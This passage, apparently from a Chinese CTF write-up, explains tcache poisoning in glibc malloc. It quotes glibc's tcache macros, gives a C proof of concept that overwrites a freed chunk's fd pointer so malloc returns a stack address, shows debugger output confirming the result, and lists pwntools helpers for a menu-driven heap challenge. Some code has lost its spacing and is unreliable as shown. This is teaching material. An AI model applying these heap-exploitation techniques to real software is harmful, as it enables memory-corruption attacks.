#if USE_TCACHE /* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ # define TCACHE_MAX_BINS 64 # define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables. */ # define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize(). */ # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) /* When "x" is a user-provided size. */ # define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are... idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) idx 1 bytes 25..40 or 13..20 idx 2 bytes 41..56 or 21..28 etc. */
/* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 #endif
unsignedlong * ptr = malloc(0x80);//chunk1 printf("malloc ptr addr is %p\n", ptr); free(ptr); // 只需修改fd指针,申请的大小和当前tcache bin大小相同即可 ptr[0] = (unsignedlong)&fck; malloc(0x80);//chunk2 printf("the second malloc addr is %p\n", malloc(0x80));
return0; }
攻击效果如下
1 2 3 4 5 6
pwndbg> r Starting program: /home/str1k3/Desktop/tcache_bin fck addr is 0x7fffffffe2e8 malloc ptr addr is 0x602670 the second malloc addr is 0x7fffffffe2e8 [Inferior 1 (process 3147) exited normally]
defadd(size,payload): p.recvuntil(">") p.sendline(b'1') p.recvuntil(b"You can customize the size of house here, but what about your life") p.sendline(str(size)) p.recvuntil(b"add something to your house\n") p.send(payload)
defdelete(index): p.recvuntil(">") p.sendline(b'2') p.recvuntil(b'every decision you made is meaningful') p.sendline(str(index))
defedit(index,size,payload): p.recvuntil(">") p.sendline(b'3') p.recvuntil(b"It's never too late to make changes") p.sendline(str(index)) p.recvuntil(b"something interesting here") p.sendline(str(size)) p.sendlineafter(b"Now add something",payload)
defshow(index): p.recvuntil(">") p.sendline(b'4') p.recvuntil(b"Let's see what you can do") p.sendline(str(index))